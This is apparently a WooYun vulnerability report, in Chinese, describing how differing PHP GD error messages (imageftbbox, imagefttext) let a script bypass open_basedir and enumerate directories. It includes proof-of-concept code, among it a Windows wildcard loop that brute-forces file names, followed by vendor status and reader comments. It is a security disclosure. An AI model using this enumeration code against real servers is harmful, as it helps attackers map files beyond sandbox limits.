php设计缺陷导致绕过open_basedir列举目录之3

@/fd的代码里对于列目录有两个方法，一是利用DirectoryIterator类，二是利用realpath函数。前者很好用，我就不多说了。单说下后者，realpath函数在处理已存在的文件（目录）与不存在的文件（目录）时情况不同，如果文件已存在则会抛出错误:open_basedir restriction in effect. File(xxxxx) is not within the allowed path(s)，如果文件不存在则会返回false。

所以我们可以通过捕捉错误handle，来判断某文件是否存在。

我的第三个方法也类似。

php的gd2库有一个函数叫imageftbbox：

GD库基本上是php必备库，所以也不存在鸡肋不鸡肋的说法。这个函数第三个参数是字体的路径。我发现当这个参数在open_basedir外的时候，当文件存在，则php会抛出“File(xxxxx) is not within the allowed path(s)”错误。但当文件不存在的时候会抛出“Invalid font filename”错误。

测试代码：

<?php
 printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
 imageftbbox(100, 100, $_GET['file'], 'aaa');
 ?>

结果：

所以，我们可以根据php抛出错误的不同来判断某个文件是否存在，进而进行目录的枚举。

在php的GD中，还有个类似的函数（也是需要加载字体的函数）存在同样的问题，是imagefttext。我就一起提交了。

在windows下，我们可以通过windows特性，也就是“通配符”来快速枚举目录，不需要暴力跑目录了。

详细代码见#1，这里情况有些不同，所以我再说一遍。

例如d:/test/下有如下文件：

我写了个简单的，但只能枚举文件第一个字符的代码：

<?php
 printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
 set_error_handler('isexists');
 $dir = 'd:/test/';
 $file = '';
 $chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
 for ($i=0; $i < strlen($chars); $i++) { 
  $file = $dir . $chars[$i] . '<><';
  //$m = imagecreatefrompng("zip.png");
  //imagefttext($m, 100, 0, 10, 20, 0xffffff, $file, 'aaa');
  imageftbbox(100, 100, $file, 'aaa');
 }
 
 function isexists($errno, $errstr)
 {
  global $file;
  if (stripos($errstr, 'Invalid font filename') === FALSE) {
   printf("%s<br/>", $file);
  }
 }
 ?>

输出如下：

可见已列出第一个字符了。顺势我们就可以逐一列出后面的每个字符，造成目录的枚举，我就不具体给代码了，大家自己发挥自己的想象。

只要在open_basedir外，不管文件是否存在，都应该抛出相同错误。

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-12-30 14:44

厂商回复：

漏洞Rank：15 (WooYun评价)

最新状态：

暂无

1. 2014-11-18 12:30 | _Thorns ( 普通白帽子 | Rank:1754 漏洞数:125 | 以大多数人的努力程度之低，根本轮不到去拼...)

   4

   强势围观！

   1# 回复此人

2. 2014-11-18 13:16 | ppt ( 路人 | Rank:11 漏洞数:2 | ) | ( 我猜出了用户名，可我没猜出密码。)

   2

   高端

   2# 回复此人

3. 2014-11-18 13:22 | do9gy ( 实习白帽子 | Rank:78 漏洞数:17 | Dog loves God。)

   2

   PHP.NET表示不服

   3# 回复此人

4. 2014-11-18 15:56 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚，关注互联网安全)

   2

   mark

   4# 回复此人

5. 2014-11-22 03:41 | Mosuan ( 普通白帽子 | Rank:449 漏洞数:166 | 尘封此号，不装逼了，再见孩子们。by Mosua...)

   3

   @do9gy php.net.java.c.c++.c#.css.html.css.javascript表示不服.....

   5# 回复此人